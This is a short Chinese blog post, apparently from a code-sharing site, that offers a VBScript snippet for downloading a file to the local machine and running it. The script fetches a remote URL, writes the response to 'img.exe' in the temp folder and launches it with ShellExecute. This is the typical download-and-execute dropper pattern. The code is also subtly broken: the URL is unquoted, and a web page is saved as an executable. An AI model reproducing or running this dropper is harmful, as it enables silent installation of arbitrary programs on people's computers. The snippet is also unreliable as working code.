下载文件到本地运行的vbs

274 阅读 0 评论 181 点赞

我是靠谱客的博主优秀烧鹅，这篇文章主要介绍下载文件到本地运行的vbs，现在分享给大家，希望可以做个参考。

复制代码代码如下:

'on error resume next 
dl = http://www.uoften.com/index.htm '这是要下载的文件的路径
str="Microsoft.XMLHTTP" 
Set x = CreateObject(str) 
Set x = CreateObject(str) 
set S = createobject("adodb.stream") 
S.type = 1 
x.Open "GET", dl, False 
x.Send() 
fname1="img.exe" 
set F = createobject("Scripting.FileSystemObject") 
set tmp = F.GetSpecialFolder(2) '缓存 
fname1= F.BuildPath(tmp,fname1) 
S.open 
S.write x.responseBody 
S.savetofile fname1,2 
msgbox fname1 
S.close 
set Q = createobject("Shell.Application") 
Q.ShellExecute fname1 